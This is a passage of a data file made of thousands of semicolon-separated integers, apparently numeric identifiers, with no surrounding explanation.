87;61648;64362;99236;15856;70145;74190;31096;57802;85255;32138;87245;40665;64708;10576;78033;102993;11507;47864;10039;92948;25420;25690;76619;43829;43391;83781;61447;10021;18054;79141;81546;67119;22132;78035;77327;22235;103929;69468;94763;71928;35661;84673;18205;35659;65895;48971;103123;11889;10800;36128;49172;66942;85910;17758;40434;52655;56713;81257;34403;56566;11605;61995;69429;11930;11410;88529;59229;72622;88935;90919;58621;19705;63061;16230;69870;63558;77707;84746;101810;100958;34963;11846;95659;59727;31037;73081;100383;78921;11376;49048;103965;34323;10521;94328;101901;76150;42111;71495;14681;24671;20993;10369;29893;31347;97635;35587;21303;78085;21642;34772;36035;20172;11239;22032;10247;64895;70196;11290;90202;11772;94167;79667;81652;11427;20839;97019;81379;49145;95633;91224;60042;44400;72395;93461;34460;96144;21155;70718;85742;22074;21696;80493;16061;94436;11336;11715;57348;69320;24734;57913;92367;62459;49034;53533;47556;92021;38949;78743;52534;11254;94070;63338;11476;20180;21747;15785;16023;39564;73643;69469;25348;30210;57371;29220;42797;58813;87593;88754;58455;94915;30215;47124;61715;81790;10327;10628;10799;92431;69934;45388;91854;45528;56692;64247;30123;81146;12029;17368;21080;69817;72152;90832;35974;25762;100679;67172;39616;34252;22332;10088;17648;30058;97574;12055;104273;35328;64470;84048;12241;73099;66835;11609;60048;200015;87256;63646;20386;10398;69326;12019;67233;101528;87869;1337023;102270;91823;25423;25349;100195;35975;82026;61550;56994;50678;15557;100185;62776;28184;83740;34022;103693;85843;17326;11979;57365;66542;62943;18005;77020;18131;100461;76790;23827;77859;80857;73185;50387;82571;10294;96772;67218;19310;22256;102082;10760;56054;87264;42058;64832;78090;17722;15556;11231;72368;69019;91811;48215;39493;14816;49780;11538;102174;79246;103194;33850;48406;72542;26198;65631;14234;26001;77370;20316;31800;53830;94679;65048;26916;47620;91459;29253;56752;67017;56509;45545;94402;18447;69082;10426;52481;72616;99471;97890;43403;72585;66406;90362;24269;72684;55126;12243;66804;21210;20402;83769;70321;11340;10418;101298;62204;12128;63202;11741;58596;21749;11316;20162;20984;49019;51860;46847;11833;66395;21118;55023;90027;56238;58967;11029;23808;21918;89683;17285;86001;101547;36075;10150;15986;11664;10980;46204;85985;93050;77438;68991;55791;35660;79146;56348;22030;70118;94639;66172;58273;18428;11200;17336;25626;91998;12298;91960;18491;34202;10320;58902;69330;72202;56667;22195;11488;76310;83346;10572;88989;69949;77580;103837;91009;100621;10995;29745;94011;54922;45139;36215;91767;52051;57891;104560;81086;77562;16095;17788;10152;50811;72908;24228;24326;77238;91997;100198;76118;45555;48239;56063;11142;56819;63549;50603;40770;78037;42825;81381;88104;94470;84585;73760;11399;55512;99030;23752;100196;10245;65893;50600;72815;100387;10594;73460;58451;45415;73829;64501;46801;14792;49221;19298;96337;64933;39330;72960;10705;11477;73497;54616;70620;100596;88642;81912;78693;85741;86655;19505;12005;92468;10548;15912;90425;200044;74092;66295;86479;50705;30134;10481;77404;88755;55424;77160;38913;77249;88983;89664;65722;25799;90248;45419;18119;53858;83992;94407;18654;82584;71052;71047;12123;17348;84761;17740;91625;17687;69047;95389;81052;14250;25935;14356;14645;72263;92038;70760;24908;53878;17636;103130;62203;85988;17156;66269;51062;51058;18035;27057;73118;63223;31118;17201;1337012;10759;78385;59249;66382;17754;11070;103787;70273;44938;20177;33271;46702;94933;80224;91817;83355;19229;56243;54299;81299;81599;45133;38208;33220;25090;47713;33849;70546;88697;82587;76279;23769;104667;87243;10851;49998;19385;38651;15565;76883;86673;65886;20393;69018;58518;66425;51834;56044;59173;11487;14233;87313;23976;19604;12239;62945;33134;38986;55289;21225;63645;11847;93079;74427;100191;62120;102589;73969;34964;49008;19255;76121;12287;15941;81048;23805;97142;42821;73019;20807;11011;78676;88905;35806;46183;72257;45591;51911;26060;76916;29217;18036;73477;38888;69039;85537;11879;47785;83289;38650;12643;76945;42052;15433;61647;69865;16170;10702;55551;70914;33443;16390;81081;19681;74038;34369;18373;90150;10897;22034;35787;18680;52157;48927;91441;100463;92818;99363;19545;96777;53546;101530;18124;77779;72397;56216;11881;59407;62077;50989;71321;25931;99932;59915;21245;56318;63064;81740;88382;40872;36205;82853;56818;94956;19253;70619;11228;23642;34818;14788;76453;82821;70882;40334;29899;18215;70071;88592;97741;58385;99585;11421;56413;22127;62031;71642;23807;83370;18489;64683;48949;92432;10734;51179;10157;53322;80554;56821;64688;45060;36100;11051;18199;55733;69014;58204;10427;63325;25736;62716;84961;86420;18374;18289;78892;58798;103694;93196;48985;84403;70075;1337222;41644;99367;59718;66202;16202;10246;15823;40363;12094;47112;21334;10250;103121;44597;17825;33228;86373;45505;100322;84222;73346;87596;24904;40558;11362;100595;10087;52756;29744;47578;33744;20994;25549;22227;101158;85006;22187;62640;51189;11749;42083;23974;66034;70174;85543;77563;97745;17709;81576;67003;49051;103124;99984;58207;19602;62893;31413;20299;16174;86905;104669;13642;90099;64687;46802;62639;46818;48323;1337016;10712;79272;93345;101772;55513;92543;12253;57347;103329;73131;11433;19228;80860;10950;76088;18616;72836;72460;33105;44078;11556;55455;44109;200037;92371;21736;72343;20011;21051;81699;99690;36017;11712;23647;69495;14219;25296;11234;57288;90446;43155;62702;56166;10715;48213;16270;63693;11637;11668;58846;65614;70715;62516;24237;33138;11071;56512;50831;73462;46850;44118;57805;86153;43100;100380;58328;44134;86542;59401;39349;65743;93128;19414;38971;57474;104668;17209;50844;15628;87952;14245;11722;58500;15586;101980;86824;55749;18534;11300;17594;21564;25709;83033;10817;48300;74469;62717;87891;46736;31724;56632;51140;49071;19591;77688;10867;66863;62100;88698;24243;43369;58750;100963;10342;74042;73183;14357;16205;73483;70119;82590;73023;102995;99691;74268;68993;31097;42441;71313;78240;65188;90762;66175;66305;85885;92020;11643;91676;78917;91443;69844;44343;10249;51097;97888;23966;10580;73300;89835;55594;85651;20401;17820;53594;65054;73618;10482;62063;17840;78741;84567;29900;58682;11353;51901;51060;74292;34235;76282;73418;12035;11710;51092;22092;100418;31733;29223;77002;69994;71897;58387;29251;72337;50658;73159;94337;94357;70329;87013;14179;44675;80518;22536;93846;31732;79133;66307;11669;22419;72484;88049;55799;71536;10315;72702;100106;71971;15449;90685;25089;57940;14708;83351;100125;52045;12642;10356;96489;22206;86631;46240;14836;14629;84238;20861;68932;46869;74430;15948;20931;59179;12066;46787;58950;99307;97021;80913;28211;102587;71436;46742;104045;73377;87411;10365;74160;11458;64852;80222;55121;84743;14712;42934;68929;29252;25884;99689;97327;35072;11683;84157;10924;77702;44394;65892;74037;62367;77054;65633;51138;24876;22297;67020;87258;19418;10129;35262;100423;73094;10061;24002;69881;45416;52015;100061;11942;29997;102499;11719;84641;97666;40561;29829;31861;76497;10525;81605;57323;76189;24339;17151;46200;70621;53387;88753;65253;10641;35803;52633;49010;17971;15860;88839;90830;89667;93658;85650;93479;38928;70323;100269;64915;72349;38947;100272;63080;52501;14365;104562;26066;73571;73987;17834;11000;57561;101355;50326;89669;47784;34336;100869;18446;66024;99373;74039;81166;18362;49700;70322;87126;70659;10819;80485;76799;71569;79832;66329;11085;11066;16141;56215;73833;81824;58447;18212;60032;49285;51908;18059;85805;88648;10790;10818;58569;62123;81578;45578;72802;92039;25293;11709;81812;55446;11434;73458;76865;47902;100868;57791;11265;93478;95719;45082;105002;66913;56173;21327;16217;81425;103049;86367;10894;64682;26022;60097;1337227;89080;35030;55024;19401;77057;43350;11236;91283;103782;31416;38789;34419;12513;62181;20902;12201;52504;94580;22016;10138;66358;99479;10640;76993;48288;18528;78036;40335;72486;73757;84342;11204;102428;11673;11185;64853;11922;40577;68960;18533;28292;17650;12041;101395;46350;70625;103507;95440;48946;63643;58410;11540;42873;41946;78111;70122;54607;49033;20212;19762;31720;35658;56091;22267;14830;29306;18200;91763;11648;20089;102712;58184;70318;31738;73024;101844;86657;25424;17830;71431;10555;33485;53846;73123;72258;104381;30187;13858;83773;45517;83745;24267;12026;43830;72212;72370;10549;86675;23780;22091;11279;78769;31167;20002;17772;68994;77281;69033;63449;77502;91385;103971;73984;63073;45120;10957;71860;58816;58662;18551;22089;76947;62393;88054;18592;96776;96143;72335;85183;91015;80190;101089;76798;59377;20376;89871;78446;73863;66473;101977;90424;34477;49011;29835;66518;49045;99510;70164;34821;99185;56174;87940;58749;21293;103972;56511;53389;31645;38663;97191;11625;69518;91994;21619;10942;48375;56959;51172;81784;11440;82903;48298;69241;49645;72417;103868;35712;102035;10382;34476;11515;18691;82620;102426;10843;24736;81739;25250;78859;92355;58233;72662;50381;103670;56337;11527;14632;10105;18023;21694;42367;45609;66933;25625;11849;12252;82776;23979;55422;66925;48926;101114;34113;55449;90361;12050;56061;69240;62561;11687;65874;84963;60027;22336;39805;42877;102271;18245;33876;19395;73710;10888;39470;77577;77390;99528;11408;15902;99360;18021;25764;62627;36170;87671;79746;24330;104662;101837;77727;45501;12209;200038;73018;10360;26963;22024;87946;70210;22232;29965;84642;43027;12300;78515;57031;15453;25707;52615;19403;31344;87763;40449;94359;66415;90024;20095;46195;42055;63550;55732;86122;11235;26925;10583;31047;34970;50323;64259;70684;103530;38745;70877;57701;89081;14337;66894;11315;92842;82710;62357;63227;73211;38925;89747;83292;63553;77167;77705;15403;25198;35716;70166;18137;26187;15572;72663;25571;20951;79334;54987;81209;54603;83465;85256;84052;97740;18254;58815;77558;90833;26021;72392;10704;74036;11781;62351;22027;20340;81737;34220;70165;70462;76213;81264;77283;24743;11739;19549;71783;58582;11585;91384;18478;23830;34726;65551;15452;72515;47859;88904;35087;62798;21725;10410;87764;11726;85581;17802;11800;21212;15469;50528;62628;70136;100299;90679;10099;72556;14296;72367;81002;70544;44986;104128;29923;11151;83288;69928;18504;48383;67002;20889;72619;25766;18506;96451;36073;18524;73986;17160;59717;73615;72602;56284;95632;10406;58435;11063;15968;72347;25525;74091;72217;11320;49962;91885;11445;57539;17363;20836;16337;64839;70919;81148;70095;59368;10979;82503;43614;43061;11816;85567;31643;11659;92419;100105;40551;92967;81049;72728;60023;30133;11101;15421;11756;28228;34021;78557;88053;45438;55438;34044;35609;70714;91947;10516;33771;51585;25886;94404;53503;69553;74443;69041;73375;103663;10386;10958;15764;32503;58402;96484;81050;51123;80914;10009;57939;69049;35788;57750;81375;69280;36152;11017;17592;64703;12025;78544;77402;17583;72814;73135;103785;49042;81023;87222;50418;10025;11370;56451;97995;104657;10092;92425;74290;10936;20158;21219;74150;64503;70847;51141;92839;93656;12014;63267;24266;66420;93513;10177;101112;11221;104324;71350;20342;62691;59789;86609;102324;78089;99511;10259;72861;10544;51833;72431;81004;25091;16250;101264;62985;88410;22253;93113;94354;80916;65928;24757;10883;35635;73419;78391;89663;76362;15911;58583;11190;73737;11469;18297;10711;86151;13657;10686;25486;15964;85125;11260;10057;33868;82505;24701;91673;65642;30186;51457;104654;100416;90200;66391;104480;69017;56468;76112;11552;48382;11224;82531;44065;62787;20743;80305;56921;69136;10107;88643;23967;73455;59244;70887;64297;86913;19679;58331;65766;33447;80333;58660;54587;16137;10839;34398;23841;10464;92724;91819;100762;11115;99282;62786;50577;102803;10723;82082;50306;101531;61529;77689;83183;50383;96625;14647;22204;24725;57468;61517;93736;64264;55508;80911;86371;77812;20383;83290;17786;23755;24337;77666;16136;70726;91633;10699;76526;97724;66584;10059;81757;46704;74153;57475;72091;17210;77683;100056;81746;62589;74154;57351;84962;10306;57469;23641;90626;34266;10390;51852;91321;73405;15822;47760;86419;90354;25767;18419;72062;61994;87373;70461;92369;52614;99934;15937;87672;25636;63454;73684;71535;45019;10293;79388;88903;46784;35297;77908;50509;48436;67019;42089;101841;10961;78430;70138;56822;31729;86123;73305;11663;62292;52979;25000;14295;17716;34097;11492;40876;73384;15967;11270;13647;11887;91460;69021;73307;49047;88652;44072;79145;65741;10660;100171;18612;12069;59228;76256;43065;76708;82740;74016;35820;10595;73463;69284;103872;59851;32030;100182;11499;71499;92428;11182;74040;65676;50448;76132;90447;61610;102861;74216;10898;100153;40887;101522;59115;10546;59713;24713;11060;72586;40798;15909;83871;63638;55814;72061;22362;62718;22531;14289;12044;11769;21726;11426;62376;19301;92362;78512;10606;10267;78447;91322;90794;10513;62678;72093;17214;53335;59047;69955;11694;21228;25673;10450;85842;49176;102683;77681;71881;69368;65030;35566;65740;14183;87951;66838;66448;73411;57272;52585;55925;64932;73646;79855;18101;35711;64726;62745;66274;11282;90423;46223;82568;55788;51191;17701;14684;72427;46864;76278;18135;21238;91626;101788;14323;14833;79130;47900;94396;91972;17986;96657;57824;100158;81187;56301;25706;18028;74421;20869;12266;69876;58454;48294;49274;10932;20391;10063;11068;11419;100961;49958;103856;51368;10529;84828;62311;69171;76491;70727;104743;10815;12115;58580;24238;78433;24756;65615;11672;20129;70925;76914;50345;11626;11755;36101;100297;99633;88907;33871;76332;21239;10319;62125;72965;61490;92540;85350;25567;10158;19553;55437;18298;84636;24334;94390;84825;70258;10313;97212;53386;55959;103869;101842;66859;69074;11862;24700;51187;51161;34434;99031;33532;76574;87928;82042;71890;69996;10060;49226;84009;80225;78481;96727;31357;15553;33137;10996;12072;100805;63318;19941;88415;45544;14635;34410;10144;76357;16173;16169;77221;86947;86104;42962;42427;81486;42439;36074;90005;58566;11916;101300;47619;11415;72877;56585;84674;86326;25248;25738;76149;76428;103513;16120;35299;94960;60063;17320;72959;11805;59817;88700;40467;11691;14298;11885;72878;86851;97744;54291;76089;62293;83438;93533;69873;97892;101978;11767;96771;68997;100840;49689;85274;20338;94251;18493;77389;102084;21561;76967;10785;11706;97470;58987;80964;83464;87327;100786;15437;11610;18120;16224;86915;11611;10939;82778;11324;14733;53534;103865;17972;24909;70094;27535;73385;15462;18138;66935;35627;103515;31134;15988;95715;27803;92493;85846;1337015;83770;34081;59477;32031;72346;10037;52961;57979;18290;34767;33811;61746;102431;58209;48284;40559;73122;10383;19307;62784;45418;100160;62354;55022;88097;66811;103754;81266;53916;46845;93616;59242;74429;22079;11218;62946;55748;72984;34243;103136;59460;69559;67023;33589;66318;76970;102362;83301;59905;84566;38206;70940;91572;33141;65691;78474;14283;83358;11526;40892;103875;76408;22158;20220;63522;79124;65806;55883;40615;14299;72348;20905;63350;92436;69804;62760;10040;20228;25124;102958;101787;17816;59036;104895;66720;17997;62074;102919;87414;59446;73341;32443;40926;44674;10937;90312;25240;62629;15405;33951;10540;18571;64840;64261;57691;11250;90792;17599;73433;65917;67128;51644;1337001;25880;103874;56315;49012;11331;55958;59850;73647;69348;52976;21038;12092;11787;70023;84987;18206;77118;17789;40804;100785;42879;10611;56734;57349;96801;21620;35109;14270;26018;90189;45626;14361;100426;63076;65187;12301;104129;91571;18006;51163;40446;17751;39617;62065;79438;52025;19497;84231;70195;35611;90527;77175;24327;15780;81385;10827;59980;20392;11243;46866;89998;200008;90862;22367;10455;10847;100201;90265;85767;15949;22537;72065;57462;100669;73478;11407;57792;93717;11286;11992;10500;67006;25004;60100;71857;59730;26961;46785;80037;11326;51920;95713;94355;60061;10239;72659;47829;86421;50598;81403;65900;74012;95714;83365;33937;61650;99305;72712;65197;33823;15487;62315;25371;38790;12235;44071;31095;10181;33545;34849;11566;12003;72800;81953;85685;34117;80478;30129;93464;93343;11799;93403;102991;92755;86697;51907;83293;16273;63137;64848;76773;54645;100273;90009;69100;39340;86300;22319;104899;67225;200020;81521;50514;86020;11951;71117;25200;11095;70916;71458;56259;46692;100592;94358;20805;14194;58039;21119;10186;79135;61431;14191;29314;34946;41057;76709;80082;16274;49792;48964;24761;43088;18494;10908;102588;13643;83364;68961;21570;34292;12107;19703;59076;48983;59734;70337;63229;65213;86541;11966;83163;47137;11420;70399;50493;86546;51200;10004;20891;11257;10429;90601;57767;83763;49030;11460;62642;14718;11391;70894;17798;104999;33949;65617;84500;16319;78822;11489;11377;79147;11168;79386;76280;13651;25446;11882;11730;50001;22410;15904;15962;84582;11452;69477;26194;90511;46857;57322;93374;25956;53595;94628;35081;100787;57274;103748;33523;73980;22295;73968;103302;34122;10494;71342;73457;87372;76144;55533;91780;82528;80568;41625;20996;11597;49778;24745;57556;89115;39853;17609;103750;16152;25701;11384;15910;92363;21027;91995;65689;11435;83298;10287;76255;17653;40477;25289;50527;20215;35821;70332;62392;22495;20284;59194;33127;74324;91896;34488;25443;88649;25080;73273;91608;11356;102359;101524;73499;91761;87261;10589;22078;70848;10091;11073;86380;22512;18483;82573;74426;10857;57537;11590;12001;90628;83115;34470;73020;72777;51936;10692;51094;97731;89662;71856;90247;104849;87413;99475;25928;85649;81732;18639;57575;16185;16172;18495;57025;16335;22414;85322;59795;70127;59498;104889;19701;23932;29729;44329;56122;73595;12089;84822;17725;85565;99669;21211;33280;12056;60045;57796;18356;14290;64716;11337;10994;11598;100962;10988;18186;73345;83522;45543;19523;24726;51674;21193;25245;79797;93651;15615;59736;63110;18037;66585;10559;103457;21139;45391;26200;11510;10917;21786;11559;69449;41028;90681;57572;15819;89051;95656;10056;40614;43865;26058;71925;86315;11108;31717;38665;67209;25906;84765;14177;12271;15766;85382;11464;76493;73371;17257;69816;59326;17208;22366;60030;36036;19699;81520;72184;58602;17689;52717;18366;51850;14291;60062;10821;58993;62415;200017;16122;21618;15867;19305;104969;11360;27618;94643;57772;11214;83517;29825;81911;91973;76793;74105;72743;77635;58107;22192;52616;66765;47763;76191;14685;54996;10001;83138;25170;86819;85405;29312;55978;10645;72658;86948;43098;15774;90255;82849;67257;63077;58683;100872;103752;11519;77153;17732;53622;84292;44588;72514;94932;70338;10484;57941;11105;10846;84824;100597;81813;62987;72885;72236;71636;66695;84573;17315;57372;41056;50576;10277;60107;76283;25991;21246;40989;64471;43637;94372;42413;58966;99366;81342;11424;96449;58951;40564;100199;51574;57699;88490;45345;72964;86874;23781;66898;97726;11061;47747;20227;79123;33813;78894;21020;80909;10430;82851;11308;46676;71325;55026;25372;87472;11808;87255;66839;78540;30206;10508;47029;104178;100681;86148;11851;40353;70168;22363;18505;57281;26056;82592;49013;84735;94636;46312;17294;12062;26969;36133;22309;56177;96317;23975;18193;94201;31655;58564;94971;71216;88099;73852;15622;68938;11764;80200;33506;11323;21304;69195;21328;84805;35707;23936;70557;67008;78871;103698;80398;87894;11133;56230;87895;64561;21205;72511;11644;64822;63096;10812;86994;104885;78701;11905;88103;50706;16197;77154;69329;66479;91989;16277;93234;49227;70586;63228;70974;70370;104558;77759;62121;90999;10981;25672;11954;34362;45507;76590;58432;89668;70558;64702;91599;49950;58952;73990;66334;58350;81591;25086;90434;200032;58090;67007;11098;78747;18637;70767;86567;10657;69305;74151;63135;18262;50543;81672;18064;62223;11854;73576;55833;15928;87871;81424;89056;99126;49068;11998;48404;84498;23779;103378;87927;10424;69825;11599;11503;57949;50047;15927;38858;11733;10998;70172;91016;23735;57536;61514;11031;10701;32123;76580;11814;15850;10884;45086;39480;101367;25550;64850;100183;73527;15400;42981;44646;64508;18391;101904;87324;16190;51772;45344;13849;103050;10370;73317;22190;62371;101356;47135;43156;53857;87881;91096;22205;34756;14782;47901;50088;93382;99371;11432;71888;80906;11631;11918;73942;48296;60153;15616;101371;67205;84152;31607;49222;19718;53411;77367;29749;44415;33881;105006;89671;81574;18541;59240;21215;14630;16153;17158;83774;97579;15772;85216;74289;71880;15934;71899;18620;63078;55815;55789;23817;68996;96778;11802;35709;11394;11084;27590;76766;57334;53488;69954;77165;73918;70728;91606;74219;48992;22226;70785;44589;11153;56710;76995;56703;10160;70852;12068;33139;25900;71967;78553;10381;64844;28290;76509;35104;11842;11843;45608;21324;62623;10881;56448;58810;10167;22300;66236;35557;34108;69321;10695;80283;35632;17608;25024;100026;93315;44324;85566;58448;81547;71863;70761;16325;90624;99399;63478;65737;49087;49003;25164;11600;67258;25243;11578;94654;12084;25934;14347;60031;17253;79136;18065;17321;87172;80959;55125;21784;94013;56056;22869;95540;64912;101297;10195;55506;83953;26027;76575;23732;51586;21690;32506;47828;54579;69051;11699;29221;18261;102498;85334;20283;15541;53633;22183;11803;53471;11395;10035;100420;10041;10556;22097;94387;22182;47759;49692;87824;11188;100991;49067;11861;73575;70460;73913;79419;34293;57764;46196;93466;79248;47113;91981;19697;10944;27506;87681;71951;19384;64992;59959;86072;84739;32310;81206;89055;76941;99359;10054;92374;89999;57395;56321;44658;22308;78392;93653;20293;56120;11914;89034;72660;17226;87507;82829;62997;15455;11588;79384;44967;24900;48255;30132;59791;99929;14369;58949;44048;76087;10684;22509;10509;20735;62965;71024;72931;15746;11506;63420;66316;104436;10604;17150;33902;71318;21331;33391;77504;22449;14255;102497;101269;60037;25445;23751;93654;59366;102018;42861;100788;70618;103381;56313;11390;76148;56620;72776;73525;59092;20170;22048;18048;10689;15765;10570;10465;72816;56213;100357;42844;32324;38912;10720;20294;11019;11731;87765;10691;69323;48965;99129;55632;81405;18136;90766;82269;18244;80492;47827;101048;12013;16475;10002;25203;58006;20213;21188;56471;83772;15894;71637;66036;50305;79134;93523;57276;22023;73436;51922;56212;42210;15404;57975;51861;20375;11456;56335;52654;81184;10419;33439;10798;40874;49698;104125;77499;92220;94360;15924;18055;50829;56412;25995;93719;65192;27583;55117;70146;72220;73739;59728;12114;25241;105041;70077;26192;23832;83764;29800;11388;103566;15891;78916;73994;73769;25926;63060;69138;11116;27574;25691;82913;101361;87768;52001;14823;102732;35291;56653;95370;19781;78870;99518;58906;18650;44961;101045;30218;65877;34351;14771;20738;57410;55456;99377;11790;62835;93230;59232;94368;85766;10161;34324;45414;94512;21036;59318;31658;100620;62813;80525;69445;76130;103696;72219;70414;61489;86914;30052;52634;100760;73470;42084;11183;80907;59176;78889;95289;100593;25125;57316;10071;18025;15605;55047;69951;70559;25165;56684;49705;100063;15561;71048;22225;58563;46884;82588;53388;19510;55649;15817;87475;67022;33226;100190;91350;21167;15458;53597;62374;103928;10468;97743;35327;82586;17730;70880;92559;21695;84006;81913;1337020;70922;48952;80459;11210;18615;63280;12077;19558;81489;102495;19402;74262;73101;55532;31719;96609;63203;21596;54586;17309;47715;200034;71040;94336;104887;91284;88460;11873;71212;61493;91730;45394;105003;100256;96906;66178;14728;99668;20885;11628;65254;62565;84881;101845;24015;104850;87767;88654;12122;17211;11682;56009;67213;34397;11404;72509;45017;99665;20862;43876;10261;78510;10903;59044;11217;61624;81249;33877;17745;11208;46238;102959;33848;34947;73301;24758;24711;58847;76413;20988;87945;34111;31051;1337027;84726;19782;61518;71995;64930;56820;11201;96446;77670;71500;58801;71348;10788;101375;45357;40555;92628;63617;76426;14314;94361;16210;72711;92754;80223;81779;56052;40478;10677;31680;57277;19598;38654;81493;51394;18359;74425;94678;69925;21581;14837;26912;76622;31420;60118;20216;14378;54990;49142;104462;103051;71945;17810;11929;34160;44643;58954;17711;61394;12048;93471;43157;25338;15849;47166;94637;97213;85539;57634;77542;55928;77810;76071;95809;80083;46846;46242;10654;71523;14358;86249;63351;10120;54972;10292;90313;72721;72667;18643;78067;100301;80475;64295;11827;64096;86368;91670;82076;11561;55509;70615;79722;23826;64849;10925;34443;52043;86659;10803;47833;78014;55832;76169;84744;65690;19387;47576;65669;88461;27841;99589;103304;81917;40929;11350;57582;84767;11569;55129;71973;92463;20972;71044;68934;103671;59731;77305;15942;21567;87922;25674;94367;11276;25197;11093;80915;62574;48354;100464;42056;65952;55120;51919;16012;87310;50494;62477;23824;58607;71319;60155;100511;58562;66405;38972;12634;31795;36131;11581;97664;19693;38689;82742;22878;84748;17835;71838;57285;10416;90921;42468;22193;17254;42862;70120;56957;59606;55115;97355;23813;44068;40861;15642;103458;77050;29698;22314;15417;11563;55805;31796;62692;10123;10551;52670;11256;93049;16328;96388;39350;90307;48994;104660;14810;52003;92430;88955;16171;63521;52589;59910;70658;25737;65613;18560;62186;29748;11345;99727;70147;10970;70352;36103;73862;10886;40447;73943;35309;60095;49043;99362;11310;15857;86002;92606;93028;82534;74155;23802;72429;66932;15425;10895;55570;103751;48977;65616;94356;95437;39591;97754;70316;72937;72693;19592;78478;72727;62694;15477;57284;93515;58644;69984;24685;102710;86314;15929;59447;92025;15706;12215;11684;100192;19948;14804;46706;57917;11338;100181;47697;20845;29216;12088;57589;22133;83956;11834;52994;76946;66179;10106;24911;22370;70177;11057;59374;22416;10142;103679;97734;99306;87777;86302;66272;35258;39479;72483;11097;70921;15936;64583;81513;43864;18558;49706;53208;64587;31791;62926;73993;17729;25971;87241;104556;78034;62224;34350;49054;85739;51125;11339;18617;18257;101955;72645;54999;70717;10486;59858;82703;73481;10072;73205;50324;46786;59192;104552;33819;10840;86949;70069;42880;22095;35708;56320;72396;12230;32481;76939;31851;81549;10975;18480;71525;54942;10714;51439;104718;11770;10989;72757;16468;24268;10814;22415;62284;12045;89786;80553;62562;58795;73519;14257;62118;10752;69475;91783;69331;31422;91442;63347;33928;50049;11480;11919;94109;31350;14246;10569;14287;18393;32394;18433;93112;40352;94394;47862;104655;73149;71887;18361;15970;21311;86658;76971;23633;43175;93740;99361;30106;77970;105024;35068;65811;42044;48246;73210;11412;86473;11003;99706;59114;18424;64710;70762;96145;10286;25684;81083;86318;101084;21040;41945;31798;69513;70740;90311;45541;14633;15901;11716;89039;21306;11840;66943;18190;71463;88043;57034;91006;18085;22526;74224;11048;64916;81185;27591;50511;44659;11548;89692;66173;25287;40983;73474;40852;101821;20007;94961;92022;91310;11513;11136;100421;52703;65029;73921;73404;47038;38153;92321;73634;78554;55994;70741;62414;63136;89661;21589;62907;81046;84811;23965;26923;59732;93739;18083;65056;66416;88020;51119;38762;35689;20174;80920;69281;62389;52503;12262;21329;83303;58412;49219;54630;64438;20930;73207;39465;11309;21677;17635;73764;83279;90941;63623;88881;25954;49284;82570;81180;12054;25461;10024;74442;32323;76535;42085;40331;24019;10404;72151;83873;85160;31640;10034;10499;51096;18507;77498;71156;47766;38699;23799;66908;57771;73103;77858;100296;48364;21748;19506;11792;77480;22494;11333;42119;80859;91612;11736;80966;80460;19396;20727;72983;59715;39345;33948;59411;93720;25494;66203;18266;97210;15711;11856;24233;17652;57578;102266;56631;74364;85381;69874;81207;100841;83730;39807;80885;69478;33279;84239;10185;96768;18033;70211;10451;99400;19394;44624;73339;57635;23937;10820;11632;11129;57039;94138;50599;62685;65734;10518;10893;51192;94384;16463;56920;50541;59969;78543;73645;59039;11794;10251;70918;15460;64506;99632;62467;22228;42352;11466;21244;27584;59175;34082;23736;10411;10794;20395;89875;77301;97226;72387;81105;14368;22090;83359;51167;72513;10005;94389;91194;94055;84193;14318;100791;85541;85351;20754;65739;51188;48297;10352;77055;21218;11774;10519;92421;51059;72706;77857;73836;14313;44094;73596;103195;57041;47718;62969;46328;91715;87416;88650;58482;78767;33859;21220;51814;10929;65674;84195;72605;73275;44587;50845;88956;76348;80998;56735;33761;95923;36147;58581;58232;66693;77830;78509;62625;62975;103819;21099;17691;21728;100845;91260;93381;59048;91601;100765;78547;46311;20182;56065;66964;11206;17707;32081;21305;10070;20000;19504;78233;51122;70591;35765;99480;73370;21630;86543;95658;55143;64714;44660;100998;94047;79360;70125;62075;81733;56171;20346;11039;93344;77403;57318;80036;10567;96928;55118;21217;58483;94511;49002;89029;17698;43352;13852;73160;55631;79139;17699;10935;91964;31731;19391;53812;73102;96728;74089;100764;91597;14370;91915;12279;20812;95541;59793;11630;52715;35953;69915;21143;10978;84344;99522;103932;58768;17651;72934;84163;49707;10578;87219;93231;103188;100194;103968;25898;97436;77200;103219;87259;55132;11100;18296;34433;23828;16209;77150;45045;76358;26010;71215;43636;65256;20318;10566;27055;80080;25688;87594;76119;43402;64453;12272;58186;12100;66554;87890;81487;96775;100189;20297;99246;20936;73530;104478;70331;73272;22299;48970;83471;11678;57942;81972;44420;65883;18432;78110;86152;62988;69045;100204;55931;10912;85514;17807;70315;93409;51459;46842;66543;55794;27597;76794;90318;102733;11820;65891;86248;29703;77087;78475;70397;10561;22270;44318;10922;97524;69426;77607;73895;89112;74363;45417;21740;11795;33944;34372;69442;17630;90710;99125;11166;15639;103816;77691;83439;35074;10730;33878;51527;104497;17312;35655;13660;21340;10750;17193;25756;10156;95888;42900;57606;19234;87504;87502;77732;14714;80494;24815;70545;14372;91500;22093;40565;100154;93518;22191;78824;10366;12281;83053;40987;63324;10307;94168;11910;79127;99707;40890;102017;103382;77831;83737;62592;83186;62349;62582;70126;100465;62795;38793;10860;83917;96961;21313;50561;25087;17809;58832;92322;70923;58330;15965;62662;70947;20217;76214;81778;65195;19546;74222;11329;95441;66025;19763;45378;10625;100792;64938;87965;48407;18568;11299;76416;64573;74138;71116;35069;18546;49647;86660;76128;18201;71891;54924;51360;53895;39791;200045;11583;64557;38927;94107;85707;11627;11041;50379;17710;20992;73021;85690;90433;63231;83736;100388;14770;58800;14726;12083;10436;49037;23651;60083;52669;17726;45580;103933;59371;88595;10736;55719;88046;84586;11656;93194;94199;48273;20097;24907;29224;66271;74186;10053;45610;25370;21641;36162;72778;20319;35823;40330;47046;63323;10475;77761;96315;60029;71534;73213;10444;60139;65854;70970;15973;64296;97944;11981;94014;58332;31410;20009;19509;42112;200022;69103;18400;25705;87726;10415;81318;19608;77474;64248;51838;103925;67129;31467;33441;57768;40469;25699;23839;24783;56682;11037;94291;84233;102204;103419;54583;35220;49218;20343;51875;40668;57282;76571;50302;20975;93741;61731;15442;45504;63428;91101;10982;18287;87822;11289;70167;55550;77606;19239;17826;90198;19584;81742;91824;103817;70663;25711;34221;66931;65855;44317;87208;11368;36130;36088;82027;21271;21208;82030;76356;26186;33478;10533;71173;63430;200025;97738;80480;16338;57977;93610;59913;17693;11841;10164;29896;84504;56456;76359;18213;88624;31052;71261;86763;76576;62693;10316;62715;34031;32480;18682;69854;10351;85222;70614;17712;10115;11346;10804;93470;20296;72584;92411;19498;30217;103930;11652;58653;99517;84236;41626;65805;59658;73336;101373;77027;59069;59821;48968;10631;103935;14198;10646;58001;10042;96338;79385;72685;7